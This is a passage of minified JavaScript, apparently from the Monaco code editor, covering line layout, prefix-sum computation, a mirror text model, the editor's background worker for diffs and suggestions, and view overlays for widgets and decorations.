t,n,i,o=0,r=this._whitespaces.getCount()-1;if(r<0)return-1;if(e>=this.getVerticalOffsetForWhitespaceIndex(r)+this._whitespaces.getHeightForWhitespaceIndex(r))return-1;for(;o<r;)if(t=Math.floor((o+r)/2),n=this.getVerticalOffsetForWhitespaceIndex(t),i=this._whitespaces.getHeightForWhitespaceIndex(t),e>=n+i)o=t+1;else{if(e>=n)return t;r=t}return o},e.prototype.getWhitespaceAtVerticalOffset=function(e){e|=0;var t=this.getWhitespaceIndexAtOrAfterVerticallOffset(e);if(t<0)return null;if(t>=this._whitespaces.getCount())return null;var n=this.getVerticalOffsetForWhitespaceIndex(t);if(n>e)return null;var i=this._whitespaces.getHeightForWhitespaceIndex(t);return{id:this._whitespaces.getIdForWhitespaceIndex(t),afterLineNumber:this._whitespaces.getAfterLineNumberForWhitespaceIndex(t),verticalOffset:n,height:i}},e.prototype.getWhitespaceViewportData=function(e,t){e|=0,t|=0;var n=this.getWhitespaceIndexAtOrAfterVerticallOffset(e),i=this._whitespaces.getCount()-1;if(n<0)return[];for(var o=[],r=n;r<=i;r++){var s=this.getVerticalOffsetForWhitespaceIndex(r),a=this._whitespaces.getHeightForWhitespaceIndex(r);if(s>=t)break;o.push({id:this._whitespaces.getIdForWhitespaceIndex(r),afterLineNumber:this._whitespaces.getAfterLineNumberForWhitespaceIndex(r),verticalOffset:s,height:a})}return o},e.prototype.getWhitespaces=function(){return this._whitespaces.getWhitespaces(this._lineHeight)},e}();t.LinesLayout=i}),define(d[104],h([1,0,96]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){return function(e,t){this.index=e,this.remainder=t}}();t.PrefixSumIndexOfResult=i;var o=function(){function e(e){this.values=e,this.prefixSum=new Uint32Array(e.length),this.prefixSumValidIndex=new Int32Array(1),this.prefixSumValidIndex[0]=-1}return e.prototype.getCount=function(){return this.values.length},e.prototype.insertValues=function(e,t){e=n.toUint32(e);var i=this.values,o=this.prefixSum,r=t.length;return 0!==r&&(this.values=new Uint32Array(i.length+r),this.values.set(i.subarray(0,e),0),this.values.set(i.subarray(e),e+r),this.values.set(t,e),e-1<this.prefixSumValidIndex[0]&&(this.prefixSumValidIndex[0]=e-1),this.prefixSum=new Uint32Array(this.values.length),this.prefixSumValidIndex[0]>=0&&this.prefixSum.set(o.subarray(0,this.prefixSumValidIndex[0]+1)),!0)},e.prototype.changeValue=function(e,t){return e=n.toUint32(e),t=n.toUint32(t),this.values[e]!==t&&(this.values[e]=t,e-1<this.prefixSumValidIndex[0]&&(this.prefixSumValidIndex[0]=e-1),!0)},e.prototype.removeValues=function(e,t){e=n.toUint32(e),t=n.toUint32(t);var i=this.values,o=this.prefixSum;if(e>=i.length)return!1;var r=i.length-e;return t>=r&&(t=r),0!==t&&(this.values=new Uint32Array(i.length-t),this.values.set(i.subarray(0,e),0),this.values.set(i.subarray(e+t),e),this.prefixSum=new Uint32Array(this.values.length),e-1<this.prefixSumValidIndex[0]&&(this.prefixSumValidIndex[0]=e-1),this.prefixSumValidIndex[0]>=0&&this.prefixSum.set(o.subarray(0,this.prefixSumValidIndex[0]+1)),!0)},e.prototype.getTotalValue=function(){return 0===this.values.length?0:this._getAccumulatedValue(this.values.length-1)},e.prototype.getAccumulatedValue=function(e){return e<0?0:(e=n.toUint32(e),this._getAccumulatedValue(e))},e.prototype._getAccumulatedValue=function(e){if(e<=this.prefixSumValidIndex[0])return this.prefixSum[e];var t=this.prefixSumValidIndex[0]+1;0===t&&(this.prefixSum[0]=this.values[0],t++),e>=this.values.length&&(e=this.values.length-1);for(var n=t;n<=e;n++)this.prefixSum[n]=this.prefixSum[n-1]+this.values[n];return this.prefixSumValidIndex[0]=Math.max(this.prefixSumValidIndex[0],e),this.prefixSum[e]},e.prototype.getIndexOf=function(e){e=Math.floor(e),this.getTotalValue();for(var t,n,o,r=0,s=this.values.length-1;r<=s;)if(t=r+(s-r)/2|0,n=this.prefixSum[t],o=n-this.values[t],e<o)s=t-1;else{if(!(e>=n))break;r=t+1}return new i(t,e-o)},e}();t.PrefixSumComputer=o;var r=function(){function e(e){this._cacheAccumulatedValueStart=0,this._cache=null,this._actual=new o(e),this._bustCache()}return e.prototype._bustCache=function(){this._cacheAccumulatedValueStart=0,this._cache=null},e.prototype.getCount=function(){return this._actual.getCount()},e.prototype.insertValues=function(e,t){this._actual.insertValues(e,t)&&this._bustCache()},e.prototype.changeValue=function(e,t){this._actual.changeValue(e,t)&&this._bustCache()},e.prototype.removeValues=function(e,t){this._actual.removeValues(e,t)&&this._bustCache()},e.prototype.getTotalValue=function(){return this._actual.getTotalValue()},e.prototype.getAccumulatedValue=function(e){return this._actual.getAccumulatedValue(e)},e.prototype.getIndexOf=function(e){if(e=Math.floor(e),null!==this._cache){var t=e-this._cacheAccumulatedValueStart;if(t>=0&&t<this._cache.length)return this._cache[t]}return this._actual.getIndexOf(e)},e.prototype.warmUpCache=function(e,t){for(var n=[],i=e;i<=t;i++)n[i-e]=this.getIndexOf(i);this._cache=n,this._cacheAccumulatedValueStart=e},e}();t.PrefixSumComputerWithCache=r}),define(d[225],h([1,0,104]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,n,i){this._uri=e,this._lines=t,this._eol=n,this._versionId=i}return e.prototype.dispose=function(){this._lines.length=0},Object.defineProperty(e.prototype,\"version\",{get:function(){return this._versionId},enumerable:!0,configurable:!0}),e.prototype.getText=function(){return this._lines.join(this._eol)},e.prototype.onEvents=function(e){e.eol&&e.eol!==this._eol&&(this._eol=e.eol,this._lineStarts=null);for(var t=e.changes,n=0,i=t.length;n<i;n++){var o=t[n];this._acceptDeleteRange(o.range),this._acceptInsertText({lineNumber:o.range.startLineNumber,column:o.range.startColumn},o.text)}this._versionId=e.versionId},e.prototype._ensureLineStarts=function(){if(!this._lineStarts){for(var e=this._eol.length,t=this._lines.length,i=new Uint32Array(t),o=0;o<t;o++)i[o]=this._lines[o].length+e;this._lineStarts=new n.PrefixSumComputer(i)}},e.prototype._setLineText=function(e,t){this._lines[e]=t,this._lineStarts&&this._lineStarts.changeValue(e,this._lines[e].length+this._eol.length)},e.prototype._acceptDeleteRange=function(e){if(e.startLineNumber!==e.endLineNumber)this._setLineText(e.startLineNumber-1,this._lines[e.startLineNumber-1].substring(0,e.startColumn-1)+this._lines[e.endLineNumber-1].substring(e.endColumn-1)),this._lines.splice(e.startLineNumber,e.endLineNumber-e.startLineNumber),this._lineStarts&&this._lineStarts.removeValues(e.startLineNumber,e.endLineNumber-e.startLineNumber);else{if(e.startColumn===e.endColumn)return;this._setLineText(e.startLineNumber-1,this._lines[e.startLineNumber-1].substring(0,e.startColumn-1)+this._lines[e.startLineNumber-1].substring(e.endColumn-1))}},e.prototype._acceptInsertText=function(e,t){if(0!==t.length){var n=t.split(/\\r\\n|\\r|\\n/);if(1!==n.length){n[n.length-1]+=this._lines[e.lineNumber-1].substring(e.column-1),this._setLineText(e.lineNumber-1,this._lines[e.lineNumber-1].substring(0,e.column-1)+n[0]);for(var i=new Uint32Array(n.length-1),o=1;o<n.length;o++)this._lines.splice(e.lineNumber+o-1,0,n[o]),i[o-1]=n[o].length+this._eol.length;this._lineStarts&&this._lineStarts.insertValues(e.lineNumber,i)}else this._setLineText(e.lineNumber-1,this._lines[e.lineNumber-1].substring(0,e.column-1)+n[0]+this._lines[e.lineNumber-1].substring(e.column-1))}},e}();t.MirrorModel=i}),define(d[226],h([1,0,24,7,2,457,139,12,225,536,546,95,152]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),Object.defineProperty(t.prototype,\"uri\",{get:function(){return this._uri},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"version\",{get:function(){return this._versionId},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"eol\",{get:function(){return this._eol},enumerable:!0,configurable:!0}),t.prototype.getValue=function(){return this.getText()},t.prototype.getLinesContent=function(){return this._lines.slice(0)},t.prototype.getLineCount=function(){return this._lines.length},t.prototype.getLineContent=function(e){return this._lines[e-1]},t.prototype.getWordAtPosition=function(e,t){var n=d.getWordAtText(e.column,d.ensureValidWordDefinition(t),this._lines[e.lineNumber-1],0);return n?new o.Range(e.lineNumber,n.startColumn,e.lineNumber,n.endColumn):null},t.prototype.getWordUntilPosition=function(e,t){var n=this.getWordAtPosition(e,t);return n?{word:this._lines[e.lineNumber-1].substring(n.startColumn-1,e.column-1),startColumn:n.startColumn,endColumn:e.column}:{word:\"\",startColumn:e.column,endColumn:e.column}},t.prototype._getAllWords=function(e){var t=this,n=[];return this._lines.forEach(function(i){t._wordenize(i,e).forEach(function(e){n.push(i.substring(e.start,e.end))})}),n},t.prototype.getAllUniqueWords=function(e,t){var n=!1,i=Object.create(null);return this._getAllWords(e).filter(function(e){return t&&!n&&t===e?(n=!0,!1):!i[e]&&(i[e]=!0,!0)})},t.prototype._wordenize=function(e,t){var n,i=[];for(t.lastIndex=0;(n=t.exec(e))&&0!==n[0].length;)i.push({start:n.index,end:n.index+n[0].length});return i},t.prototype.getValueInRange=function(e){if((e=this._validateRange(e)).startLineNumber===e.endLineNumber)return this._lines[e.startLineNumber-1].substring(e.startColumn-1,e.endColumn-1);var t=this._eol,n=e.startLineNumber-1,i=e.endLineNumber-1,o=[];o.push(this._lines[n].substring(e.startColumn-1));for(var r=n+1;r<i;r++)o.push(this._lines[r]);return o.push(this._lines[i].substring(0,e.endColumn-1)),o.join(t)},t.prototype.offsetAt=function(e){return e=this._validatePosition(e),this._ensureLineStarts(),this._lineStarts.getAccumulatedValue(e.lineNumber-2)+(e.column-1)},t.prototype.positionAt=function(e){e=Math.floor(e),e=Math.max(0,e),this._ensureLineStarts();var t=this._lineStarts.getIndexOf(e),n=this._lines[t.index].length;return{lineNumber:1+t.index,column:1+Math.min(t.remainder,n)}},t.prototype._validateRange=function(e){var t=this._validatePosition({lineNumber:e.startLineNumber,column:e.startColumn}),n=this._validatePosition({lineNumber:e.endLineNumber,column:e.endColumn});return t.lineNumber!==e.startLineNumber||t.column!==e.startColumn||n.lineNumber!==e.endLineNumber||n.column!==e.endColumn?{startLineNumber:t.lineNumber,startColumn:t.column,endLineNumber:n.lineNumber,endColumn:n.column}:e},t.prototype._validatePosition=function(e){if(!a.Position.isIPosition(e))throw new Error(\"bad position\");var t=e.lineNumber,n=e.column,i=!1;if(t<1)t=1,n=1,i=!0;else if(t>this._lines.length)t=this._lines.length,n=this._lines[t-1].length+1,i=!0;else{var o=this._lines[t-1].length+1;n<1?(n=1,i=!0):n>o&&(n=o,i=!0)}return i?{lineNumber:t,column:n}:e},t}(u.MirrorModel),g=function(){function e(){this._foreignModule=null}return e.prototype.computeDiff=function(e,t,n){var o=this._getModel(e),s=this._getModel(t);if(!o||!s)return null;var a=o.getLinesContent(),u=s.getLinesContent(),l=new r.DiffComputer(a,u,{shouldPostProcessCharChanges:!0,shouldIgnoreTrimWhitespace:n,shouldConsiderTrimWhitespaceInEmptyCase:!0,shouldMakePrettyDiff:!0});return i.TPromise.as(l.computeDiff())},e.prototype.computeDirtyDiff=function(e,t,n){var o=this._getModel(e),s=this._getModel(t);if(!o||!s)return null;var a=o.getLinesContent(),u=s.getLinesContent(),l=new r.DiffComputer(a,u,{shouldPostProcessCharChanges:!1,shouldIgnoreTrimWhitespace:n,shouldConsiderTrimWhitespaceInEmptyCase:!1,shouldMakePrettyDiff:!0});return i.TPromise.as(l.computeDiff())},e.prototype.computeMoreMinimalEdits=function(t,n,r){var a=this._getModel(t);if(!a)return i.TPromise.as(n);for(var u,l=[],c=0,d=n;c<d.length;c++){var h=d[c],p=h.range,f=h.text,g=h.eol;if(\"number\"==typeof g&&(u=g),p){var m=a.getValueInRange(p);if(f=f.replace(/\\r\\n|\\n|\\r/g,a.eol),m!==f)if(Math.max(f.length,m.length)>e._diffLimit)l.push({range:p,text:f});else for(var v=s.stringDiff(m,f,!1),_=a.offsetAt(o.Range.lift(p).getStartPosition()),y=0,C=v;y<C.length;y++){var b=C[y],w=a.positionAt(_+b.originalStart),S=a.positionAt(_+b.originalStart+b.originalLength),E={text:f.substr(b.modifiedStart,b.modifiedLength),range:{startLineNumber:w.lineNumber,startColumn:w.column,endLineNumber:S.lineNumber,endColumn:S.column}};a.getValueInRange(E.range)!==E.text&&l.push(E)}}}return\"number\"==typeof u&&l.push({eol:u,text:void 0,range:void 0}),i.TPromise.as(l)},e.prototype.computeLinks=function(e){var t=this._getModel(e);return t?i.TPromise.as(l.computeLinks(t)):null},e.prototype.textualSuggest=function(e,t,n,o){var r=this._getModel(e);if(r){for(var s=[],a=new RegExp(n,o),u=r.getWordUntilPosition(t,a).word,l=0,c=r.getAllUniqueWords(a);l<c.length;l++){var d=c[l];d!==u&&isNaN(Number(d))&&s.push({type:\"text\",label:d,insertText:d,noAutoAccept:!0,overwriteBefore:u.length})}return i.TPromise.as({suggestions:s})}},e.prototype.navigateValueSet=function(e,t,n,o,r){var s=this._getModel(e);if(!s)return null;var a=new RegExp(o,r);t.startColumn===t.endColumn&&(t={startLineNumber:t.startLineNumber,startColumn:t.startColumn,endLineNumber:t.endLineNumber,endColumn:t.endColumn+1});var u=s.getValueInRange(t),l=s.getWordAtPosition({lineNumber:t.startLineNumber,column:t.startColumn},a),d=null;null!==l&&(d=s.getValueInRange(l));var h=c.BasicInplaceReplace.INSTANCE.navigateValueSet(t,u,l,d,n);return i.TPromise.as(h)},e.prototype.loadForeignModule=function(e,t){var n=this;return new i.TPromise(function(i,o){self.require([e],function(e){var o={getMirrorModels:function(){return n._getModels()}};n._foreignModule=e.create(o,t);var r=[];for(var s in n._foreignModule)\"function\"==typeof n._foreignModule[s]&&r.push(s);i(r)},o)})},e.prototype.fmr=function(e,t){if(!this._foreignModule||\"function\"!=typeof this._foreignModule[e])return i.TPromise.wrapError(new Error(\"Missing requestHandler or method: \"+e));try{return i.TPromise.as(this._foreignModule[e].apply(this._foreignModule,t))}catch(e){return i.TPromise.wrapError(e)}},e._diffLimit=1e4,e}();t.BaseEditorSimpleWorker=g;var m=function(e){function t(){var t=e.call(this)||this;return t._models=Object.create(null),t}return f(t,e),t.prototype.dispose=function(){this._models=Object.create(null)},t.prototype._getModel=function(e){return this._models[e]},t.prototype._getModels=function(){var e=this,t=[];return Object.keys(this._models).forEach(function(n){return t.push(e._models[n])}),t},t.prototype.acceptNewModel=function(e){this._models[e.url]=new p(n.default.parse(e.url),e.lines,e.EOL,e.versionId)},t.prototype.acceptModelChanged=function(e,t){this._models[e]&&this._models[e].onEvents(t)},t.prototype.acceptRemovedModel=function(e){this._models[e]&&delete this._models[e]},t}(g);t.EditorSimpleWorkerImpl=m,t.create=function(){return new m};var v=self;\"function\"==typeof v.importScripts&&(v.monaco=h.createMonacoBaseAPI())}),define(d[82],h([1,0,57,3]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(e){function t(){var t=e.call(this)||this;return t._shouldRender=!0,t}return f(t,e),t.prototype.shouldRender=function(){return this._shouldRender},t.prototype.forceShouldRender=function(){this._shouldRender=!0},t.prototype.setShouldRender=function(){this._shouldRender=!0},t.prototype.onDidRender=function(){this._shouldRender=!1},t.prototype.onConfigurationChanged=function(e){return!1},t.prototype.onCursorStateChanged=function(e){return!1},t.prototype.onDecorationsChanged=function(e){return!1},t.prototype.onFlushed=function(e){return!1},t.prototype.onFocusChanged=function(e){return!1},t.prototype.onLineMappingChanged=function(e){return!1},t.prototype.onLinesChanged=function(e){return!1},t.prototype.onLinesDeleted=function(e){return!1},t.prototype.onLinesInserted=function(e){return!1},t.prototype.onRevealRangeRequest=function(e){return!1},t.prototype.onScrollChanged=function(e){return!1},t.prototype.onTokensChanged=function(e){return!1},t.prototype.onTokensColorsChanged=function(e){return!1},t.prototype.onZonesChanged=function(e){return!1},t.prototype.onThemeChanged=function(e){return!1},t.prototype.handleEvents=function(e){for(var t=!1,n=0,i=e.length;n<i;n++){var o=e[n];switch(o.type){case 1:this.onConfigurationChanged(o)&&(t=!0);break;case 2:this.onCursorStateChanged(o)&&(t=!0);break;case 3:this.onDecorationsChanged(o)&&(t=!0);break;case 4:this.onFlushed(o)&&(t=!0);break;case 5:this.onFocusChanged(o)&&(t=!0);break;case 6:this.onLineMappingChanged(o)&&(t=!0);break;case 7:this.onLinesChanged(o)&&(t=!0);break;case 8:this.onLinesDeleted(o)&&(t=!0);break;case 9:this.onLinesInserted(o)&&(t=!0);break;case 10:this.onRevealRangeRequest(o)&&(t=!0);break;case 11:this.onScrollChanged(o)&&(t=!0);break;case 12:this.onTokensChanged(o)&&(t=!0);break;case 13:this.onTokensColorsChanged(o)&&(t=!0);break;case 14:this.onZonesChanged(o)&&(t=!0);break;case 15:this.onThemeChanged(o)&&(t=!0);break;default:console.info(\"View received unknown event: \"),console.info(o)}}t&&(this._shouldRender=!0)},t}(i.Disposable);t.ViewEventHandler=o}),define(d[67],h([1,0,82]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t}(n.ViewEventHandler);t.DynamicViewOverlay=i}),define(d[35],h([1,0,82,27]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,e.prototype.dispose.call(this)},t}(n.ViewEventHandler);t.ViewPart=o;!function(e){e[e.None=0]=\"None\",e[e.ContentWidgets=1]=\"ContentWidgets\",e[e.OverflowingContentWidgets=2]=\"OverflowingContentWidgets\",e[e.OverflowGuard=3]=\"OverflowGuard\",e[e.OverlayWidgets=4]=\"OverlayWidgets\",e[e.ScrollableElement=5]=\"ScrollableElement\",e[e.TextArea=6]=\"TextArea\",e[e.ViewLines=7]=\"ViewLines\",e[e.Minimap=8]=\"Minimap\"}(t.PartFingerprint||(t.PartFingerprint={}));var r=function(){function e(){}return e.write=function(e,t){i.FastDomNode,e.setAttribute(\"data-mprt\",String(t))},e.read=function(e){var t=e.getAttribute(\"data-mprt\");return null===t?0:parseInt(t,10)},e.collect=function(e,t){for(var n=[],i=0;e&&e!==document.body&&e!==t;)e.nodeType===e.ELEMENT_NODE&&(n[i++]=this.read(e)),e=e.parentElement;for(var o=new Uint8Array(i),r=0;r<i;r++)o[r]=n[i-r-1];return o},e}();t.PartFingerprints=r}),define(d[230],h([1,0,4,27,25,35]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){return function(e,t){this.top=e,this.left=t}}(),a=function(e){function t(t,n){var o=e.call(this,t)||this;return o._viewDomNode=n,o._widgets={},o.domNode=i.createFastDomNode(document.createElement(\"div\")),r.PartFingerprints.write(o.domNode,1),o.domNode.setClassName(\"contentWidgets\"),o.domNode.setPosition(\"absolute\"),o.domNode.setTop(0),o.overflowingContentWidgetsDomNode=i.createFastDomNode(document.createElement(\"div\")),r.PartFingerprints.write(o.overflowingContentWidgetsDomNode,2),o.overflowingContentWidgetsDomNode.setClassName(\"overflowingContentWidgets\"),o}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this),this._widgets=null,this.domNode=null},t.prototype.onConfigurationChanged=function(e){for(var t=Object.keys(this._widgets),n=0,i=t.length;n<i;n++){var o=t[n];this._widgets[o].onConfigurationChanged(e)}return!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return!0},t.prototype.onZonesChanged=function(e){return!0},t.prototype.addWidget=function(e){var t=new u(this._context,this._viewDomNode,e);this._widgets[t.id]=t,t.allowEditorOverflow?this.overflowingContentWidgetsDomNode.appendChild(t.domNode):this.domNode.appendChild(t.domNode),this.setShouldRender()},t.prototype.setWidgetPosition=function(e,t,n){this._widgets[e.getId()].setPosition(t,n),this.setShouldRender()},t.prototype.removeWidget=function(e){var t=e.getId();if(this._widgets.hasOwnProperty(t)){var n=this._widgets[t];delete this._widgets[t];var i=n.domNode.domNode;i.parentNode.removeChild(i),i.removeAttribute(\"monaco-visible-content-widget\"),this.setShouldRender()}},t.prototype.shouldSuppressMouseDownOnWidget=function(e){return!!this._widgets.hasOwnProperty(e)&&this._widgets[e].suppressMouseDown},t.prototype.prepareRender=function(e){for(var t=Object.keys(this._widgets),n=0,i=t.length;n<i;n++){var o=t[n];this._widgets[o].prepareRender(e)}},t.prototype.render=function(e){for(var t=Object.keys(this._widgets),n=0,i=t.length;n<i;n++){var o=t[n];this._widgets[o].render(e)}},t}(r.ViewPart);t.ViewContentWidgets=a;var u=function(){function e(e,t,n){this._context=e,this._viewDomNode=t,this._actual=n,this.domNode=i.createFastDomNode(this._actual.getDomNode()),this.id=this._actual.getId(),this.allowEditorOverflow=this._actual.allowEditorOverflow||!1,this.suppressMouseDown=this._actual.suppressMouseDown||!1,this._fixedOverflowWidgets=this._context.configuration.editor.viewInfo.fixedOverflowWidgets,this._contentWidth=this._context.configuration.editor.layoutInfo.contentWidth,this._contentLeft=this._context.configuration.editor.layoutInfo.contentLeft,this._lineHeight=this._context.configuration.editor.lineHeight,this._position=null,this._preference=null,this._isVisible=!1,this._renderData=null,this.domNode.setPosition(this._fixedOverflowWidgets&&this.allowEditorOverflow?\"fixed\":\"absolute\"),this._updateMaxWidth(),this.domNode.setVisibility(\"hidden\"),this.domNode.setAttribute(\"widgetId\",this.id)}return e.prototype.onConfigurationChanged=function(e){e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.layoutInfo&&(this._contentLeft=this._context.configuration.editor.layoutInfo.contentLeft,this._contentWidth=this._context.configuration.editor.layoutInfo.contentWidth,this._updateMaxWidth())},e.prototype._updateMaxWidth=function(){var e=this.allowEditorOverflow?window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth:this._contentWidth;this.domNode.setMaxWidth(e)},e.prototype.setPosition=function(e,t){this._position=e,this._preference=t},e.prototype._layoutBoxInViewport=function(e,t,n,i){var o=e.top,r=o,s=e.top+this._lineHeight,a=o-n,u=r>=n,l=s,c=i.viewportHeight-s>=n,d=e.left;return d+t>i.scrollLeft+i.viewportWidth&&(d=i.scrollLeft+i.viewportWidth-t),d<i.scrollLeft&&(d=i.scrollLeft),{aboveTop:a,fitsAbove:u,belowTop:l,fitsBelow:c,left:d}},e.prototype._layoutBoxInPage=function(e,t,i,o){var r=e.left-o.scrollLeft;if(r+t<0||r>this._contentWidth)return null;var s=e.top-i,a=e.top+this._lineHeight,u=r+this._contentLeft,l=n.getDomNodePagePosition(this._viewDomNode.domNode),c=l.top+s-n.StandardWindow.scrollY,d=l.top+a-n.StandardWindow.scrollY,h=l.left+u-n.StandardWindow.scrollX,p=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,f=c>=22,g=d+i<=(window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight)-22;if(h+t+20>p&&(h-=m=h-(p-t-20),u-=m),h<0){var m=h;h-=m,u-=m}return this._fixedOverflowWidgets&&(s=c,a=d,u=h),{aboveTop:s,fitsAbove:f,belowTop:a,fitsBelow:g,left:u}},e.prototype._prepareRenderWidgetAtExactPositionOverflowing=function(e){return new s(e.top,e.left+this._contentLeft)},e.prototype._getTopLeft=function(e,t){var n=e.visibleRangeForPosition(t);if(!n)return null;var i=e.getVerticalOffsetForLineNumber(t.lineNumber)-e.scrollTop;return new s(i,n.left)},e.prototype._prepareRenderWidget=function(e){var t=this;if(!this._position||!this._preference)return null;var n=this._context.model.validateModelPosition(this._position);if(!this._context.model.coordinatesConverter.modelPositionIsVisible(n))return null;for(var i=this._context.model.coordinatesConverter.convertModelPositionToViewPosition(n),r=null,a=function(){if(!r){var n=t._getTopLeft(e,i);if(n){var o=t.domNode.domNode,s=o.clientWidth,a=o.clientHeight;r=t.allowEditorOverflow?t._layoutBoxInPage(n,s,a,e):t._layoutBoxInViewport(n,s,a,e)}}},u=1;u<=2;u++)for(var l=0;l<this._preference.length;l++){var c=this._preference[l];if(c===o.ContentWidgetPositionPreference.ABOVE){if(a(),!r)return null;if(2===u||r.fitsAbove)return new s(r.aboveTop,r.left)}else{if(c!==o.ContentWidgetPositionPreference.BELOW){var d=this._getTopLeft(e,i);return d?this.allowEditorOverflow?this._prepareRenderWidgetAtExactPositionOverflowing(d):d:null}if(a(),!r)return null;if(2===u||r.fitsBelow)return new s(r.belowTop,r.left)}}return null},e.prototype.prepareRender=function(e){this._renderData=this._prepareRenderWidget(e)},e.prototype.render=function(e){this._renderData?(this.allowEditorOverflow?(this.domNode.setTop(this._renderData.top),this.domNode.setLeft(this._renderData.left)):(this.domNode.setTop(this._renderData.top+e.scrollTop-e.bigNumbersDelta),this.domNode.setLeft(this._renderData.left)),this._isVisible||(this.domNode.setVisibility(\"inherit\"),this.domNode.setAttribute(\"monaco-visible-content-widget\",\"true\"),this._isVisible=!0)):this._isVisible&&(this.domNode.removeAttribute(\"monaco-visible-content-widget\"),this._isVisible=!1,this.domNode.setVisibility(\"hidden\"))},e}()}),define(d[231],h([1,0,67,2,78,278]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(t){var n=e.call(this)||this;return n._context=t,n._lineHeight=n._context.configuration.editor.lineHeight,n._typicalHalfwidthCharacterWidth=n._context.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth,n._renderResult=null,n._context.addEventHandler(n),n}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._context=null,this._renderResult=null,e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.fontInfo&&(this._typicalHalfwidthCharacterWidth=this._context.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth),!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return e.scrollTopChanged||e.scrollWidthChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype.prepareRender=function(e){for(var t=e.getDecorationsInViewport(),n=[],o=0,r=0,s=t.length;r<s;r++){var a=t[r];a.source.options.className&&(n[o++]=a)}n=n.sort(function(e,t){var n=e.source.options.className,o=t.source.options.className;return n<o?-1:n>o?1:i.Range.compareRangesUsingStarts(e.range,t.range)});for(var u=e.visibleRange.startLineNumber,l=e.visibleRange.endLineNumber,c=[],d=u;d<=l;d++)c[d-u]=\"\";this._renderWholeLineDecorations(e,n,c),this._renderNormalDecorations(e,n,c),this._renderResult=c},t.prototype._renderWholeLineDecorations=function(e,t,n){for(var i=String(this._lineHeight),o=e.visibleRange.startLineNumber,r=e.visibleRange.endLineNumber,s=0,a=t.length;s<a;s++){var u=t[s];if(u.source.options.isWholeLine)for(var l='<div class=\"cdr '+u.source.options.className+'\" style=\"left:0;width:100%;height:'+i+'px;\"></div>',c=Math.max(u.range.startLineNumber,o),d=Math.min(u.range.endLineNumber,r),h=c;h<=d;h++)n[h-o]+=l}},t.prototype._renderNormalDecorations=function(e,t,n){for(var r=String(this._lineHeight),s=e.visibleRange.startLineNumber,a=0,u=t.length;a<u;a++){var l=t[a];if(!l.source.options.isWholeLine){var c=l.source.options.className,d=l.source.options.showIfCollapsed,h=l.range;d&&1===h.endColumn&&h.endLineNumber!==h.startLineNumber&&(h=new i.Range(h.startLineNumber,h.startColumn,h.endLineNumber-1,this._context.model.getLineMaxColumn(h.endLineNumber-1)));var p=e.linesVisibleRangesForRange(h,\"findMatch\"===c);if(p)for(var f=0,g=p.length;f<g;f++){var m=p[f],v=m.lineNumber-s;if(d&&1===m.ranges.length){var _=m.ranges[0];0===_.width&&(m.ranges[0]=new o.HorizontalRange(_.left,this._typicalHalfwidthCharacterWidth))}for(var y=0,C=m.ranges.length;y<C;y++){var b=m.ranges[y],w='<div class=\"cdr '+c+'\" style=\"left:'+String(b.left)+\"px;width:\"+String(b.width)+\"px;height:\"+r+'px;\"></div>';n[v]+=w}}}}},t.prototype.render=function(e,t){if(!this._renderResult)return\"\";var n=t-e;if(n<0||n>=this._renderResult.length)throw new Error(\"Unexpected render request\");return this._renderResult[n]},t}(n.DynamicViewOverlay);t.DecorationsOverlay=r}),define(d[113],h([1,0,67,279]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){return function(e,t,n){this.startLineNumber=+e,this.endLineNumber=+t,this.className=String(n)}}();t.DecorationToRender=i;var o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._render=function(e,t,n){for(var i=[],o=e;o<=t;o++)i[o-e]=[];if(0===n.length)return i;n.sort(function(e,t){return e.className===t.className?e.startLineNumber===t.startLineNumber?e.endLineNumber-t.endLineNumber:e.startLineNumber-t.startLineNumber:e.className<t.className?-1:1});for(var r=null,s=0,a=0,u=n.length;a<u;a++){var l=n[a],c=l.className,d=Math.max(l.startLineNumber,e)-e,h=Math.min(l.endLineNumber,t)-e;r===c?(d=Math.max(s+1,d),s=Math.max(s,h)):(r=c,s=h);for(var p=d;p<=s;p++)i[p].push(r)}return i},t}(n.DynamicViewOverlay);t.DedupOverlay=o;var r=function(e){function t(t){var n=e.call(this)||this;return 